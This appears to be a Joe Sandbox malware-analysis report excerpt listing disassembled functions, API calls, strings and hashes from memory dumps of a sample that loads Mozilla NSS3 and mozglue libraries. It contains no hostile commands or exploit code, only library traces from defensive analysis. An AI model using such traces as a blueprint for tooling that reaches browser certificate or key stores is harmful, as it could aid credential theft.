PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6F7117
SECOID_Init.NSS3 ref: 6C6F7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C6F714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F71A9
PR_NotifyAllCondVar.NSS3 ref: 6C6F71CF
PR_Unlock.NSS3 ref: 6C6F71DD
free.MOZGLUE(?), ref: 6C6F71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6F7208
free.MOZGLUE(00000000), ref: 6C6F7221
free.MOZGLUE(00000001), ref: 6C6F7235
TlsGetValue.KERNEL32 ref: 6C6F724A
EnterCriticalSection.KERNEL32(?), ref: 6C6F725E
PR_NotifyCondVar.NSS3 ref: 6C6F7273
PR_Unlock.NSS3 ref: 6C6F7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C6F7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C830148,,defaultModDB,internalKeySlot), ref: 6C6F74CC
free.MOZGLUE(00000000), ref: 6C6F7513
free.MOZGLUE(00000000), ref: 6C6F751B
free.MOZGLUE(00000000), ref: 6C6F7528
free.MOZGLUE(00000000), ref: 6C6F753C
free.MOZGLUE(00000000), ref: 6C6F7550
free.MOZGLUE(00000000), ref: 6C6F7561
free.MOZGLUE(00000000), ref: 6C6F7572
free.MOZGLUE(00000000), ref: 6C6F7583
free.MOZGLUE(00000000), ref: 6C6F7594
free.MOZGLUE(00000000), ref: 6C6F75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6F75BD
free.MOZGLUE(00000000), ref: 6C6F75C8
free.MOZGLUE(00000000), ref: 6C6F75F1
PR_NewLock.NSS3 ref: 6C6F7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C6F7686
PR_NewLock.NSS3 ref: 6C6F76A2

Part of subcall function 6C7A98D0: calloc.MOZGLUE(00000001,00000084,6C6D0936,00000001,?,6C6D102C), ref: 6C7A98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6F76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C6F7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6F771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6F7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C6F774A
DeleteCriticalSection.KERNEL32(?), ref: 6C6F7770
free.MOZGLUE(?), ref: 6C6F7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6F77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6F77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C6F7821
PORT_Alloc_Util.NSS3(?), ref: 6C6F7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6F785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6F786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6F78AC
free.MOZGLUE(00000000), ref: 6C6F78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6F78F3
free.MOZGLUE(00000000), ref: 6C6F78FC
free.MOZGLUE(00000000), ref: 6C6F791C

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

Strings

dbm:, xrefs: 6C6F7716
extern:, xrefs: 6C6F772B
rdb:, xrefs: 6C6F7744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6F74C7
NSS Internal Module, xrefs: 6C6F74A2, 6C6F74C6
kbi., xrefs: 6C6F7886
sql:, xrefs: 6C6F76FE
dll, xrefs: 6C6F788E
,defaultModDB,internalKeySlot, xrefs: 6C6F748D, 6C6F74AA
Spac, xrefs: 6C6F7389

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 4acbaaa91f9d834597ae101993b840dfc1149997feeeef3664c22395599d679f
Instruction ID: 9e5ed36edf989335aab433eb54d169968ee7c450d182535fd8e455eb56045cfe
Opcode Fuzzy Hash: 4acbaaa91f9d834597ae101993b840dfc1149997feeeef3664c22395599d679f
Instruction Fuzzy Hash: 095223B1E05205DBEB219F64CD09BAA7BB2AF0530CF144538EC29A3B41E731E915CBD6

Function 6C5D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D54BE
__Init_thread_footer.LIBCMT ref: 6C5D54DB

Part of subcall function 6C5FAB3F: EnterCriticalSection.KERNEL32(6C64E370,?,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB49
Part of subcall function 6C5FAB3F: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FAB7C

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5D5516
GetCurrentThreadId.KERNEL32 ref: 6C5D556A
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5D55E6
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D5616

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

GetCurrentThreadId.KERNEL32 ref: 6C5D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5D567C
free.MOZGLUE(?), ref: 6C5D56AE

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5D56E8
GetCurrentThreadId.KERNEL32 ref: 6C5D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5D57CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C5D55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5D5791
[I %d/%d] profiler_init, xrefs: 6C5D564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5D5B38
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5D54B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5D57C5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5D5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5D5C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5D5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5D584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5D5766
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5D5CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5D5D24
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5D5717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5D57AE
GeckoMain, xrefs: 6C5D5554, 6C5D55D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5D548D
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5D5749
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5D5724
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5D5D01
MOZ_BASE_PROFILER_HELP, xrefs: 6C5D5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5D5AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5D5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5D54A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5D56E3

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction ID: 6d534aad34216bea5e323c1b59cbc5a2f3897b68fd067874a262c6bfcb87a6bf
Opcode Fuzzy Hash: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction Fuzzy Hash: 412206B0A047009FE700AF79C84466A77B1EF8734CF95C929E94697B41EB31A849CB5F

Function 6C744840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C72601B,?,00000000,?), ref: 6C74486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C7448A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C7448BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C7448DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C7448F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C74490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C744919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C74493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C744970
PORT_Alloc_Util.NSS3(00000001), ref: 6C7449A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C7449AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7449D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C7449F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C744A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C744A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C744A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C744A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C744A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C744A81
free.MOZGLUE(00000000), ref: 6C744AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C744ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C744ADC
free.MOZGLUE(00000000), ref: 6C744B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C744B33

Part of subcall function 6C744120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74413D
Part of subcall function 6C744120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C744162
Part of subcall function 6C744120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74416B
Part of subcall function 6C744120: PL_strncasecmp.NSS3(2Btl,?,00000001), ref: 6C744187
Part of subcall function 6C744120: NSSUTIL_ArgSkipParameter.NSS3(2Btl), ref: 6C7441A0
Part of subcall function 6C744120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7441B4
Part of subcall function 6C744120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C7441CC
Part of subcall function 6C744120: NSSUTIL_ArgFetchValue.NSS3(2Btl,?), ref: 6C744203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C744B53
free.MOZGLUE(00000000), ref: 6C744B94
free.MOZGLUE(?), ref: 6C744BA7
free.MOZGLUE(00000000), ref: 6C744BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C744BC8

Strings

hasRootTrust, xrefs: 6C744B4D
every, xrefs: 6C744A66
hasRootCerts, xrefs: 6C744AD6
slotFlags, xrefs: 6C744A22
askpw, xrefs: 6C744A4A
rootFlags, xrefs: 6C744AB9, 6C744B2E
timeout, xrefs: 6C744A38, 6C744A7B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: bdb0946371d755e9cfc08abb9dac47628fc7b2d4b87ab8527f80ca728f5761e8
Instruction ID: 20ed18919b2395bb41265b82ba44fad18b4feadd132d1f6a5e65243813e82f28
Opcode Fuzzy Hash: bdb0946371d755e9cfc08abb9dac47628fc7b2d4b87ab8527f80ca728f5761e8
Instruction Fuzzy Hash: EFC127B0E052559FEB10CFA89E44BAE7BB8AF06248F184438EC55E7B41E7319914F7A1

Function 6C706D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C80A8EC,0000006C), ref: 6C706DC6
memcpy.VCRUNTIME140(?,6C80A958,0000006C), ref: 6C706DDB
memcpy.VCRUNTIME140(?,6C80A9C4,00000078), ref: 6C706DF1
memcpy.VCRUNTIME140(?,6C80AA3C,0000006C), ref: 6C706E06
memcpy.VCRUNTIME140(?,6C80AAA8,00000060), ref: 6C706E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C706E38

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C706E76
TlsGetValue.KERNEL32 ref: 6C70726F
EnterCriticalSection.KERNEL32(?), ref: 6C707283

Strings

!, xrefs: 6C707123

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 4721d1a51bf77d0170dd54132188e24995e82056a68e96ec56ee3bfdc560d392
Instruction ID: 96ab0942ec23be6caebca60cb2401b68ff5e95db374bcba2a50e847189360305
Opcode Fuzzy Hash: 4721d1a51bf77d0170dd54132188e24995e82056a68e96ec56ee3bfdc560d392
Instruction Fuzzy Hash: ED729FB5E052189FDB60DF28CD8879ABBF5BF49308F1041A9D80DA7741E731AA85CF90

Function 6C74AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C74ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C74ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C74ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C74AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C74ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74ADF0

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C74B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C74B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C74B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C74B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74B40C

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 173c3eb1272cbdcb731bb9938000be5e0f49723230b24c17def2b84ded5145f0
Instruction ID: 91f0f3dedb1071af57d843d1e506fa756f3701c4b9f8b1a5fe9396210a40af4a
Opcode Fuzzy Hash: 173c3eb1272cbdcb731bb9938000be5e0f49723230b24c17def2b84ded5145f0
Instruction Fuzzy Hash: BA22BF71904301AFE710CF24CE49B9A77E1AF8431CF24C578E9585B7A2E772E859CB92

Function 6C6CECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6CED38

Part of subcall function 6C664F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C664FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C6CEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C6CEFE4

Part of subcall function 6C78DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C665001,?,00000003,00000000), ref: 6C78DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C6CF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C6CF129
sqlite3_mprintf.NSS3(optimize), ref: 6C6CF1D1
sqlite3_free.NSS3(?), ref: 6C6CF368

Strings

fts4aux, xrefs: 6C6CECF9
unicode61, xrefs: 6C6CEDB5
offsets, xrefs: 6C6CEFAF, 6C6CEFDF, 6C6CF01F
optimize, xrefs: 6C6CF199, 6C6CF1CC, 6C6CF211
snippet, xrefs: 6C6CEF05, 6C6CEF37, 6C6CEF7C
fts3, xrefs: 6C6CF247
fts3tokenize, xrefs: 6C6CF30F
matchinfo, xrefs: 6C6CF04F, 6C6CF082, 6C6CF0C2, 6C6CF0F2, 6C6CF124, 6C6CF169
fts4, xrefs: 6C6CF2AD
fts3_tokenizer, xrefs: 6C6CEE1A, 6C6CEEA8
simple, xrefs: 6C6CED79
porter, xrefs: 6C6CED97

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
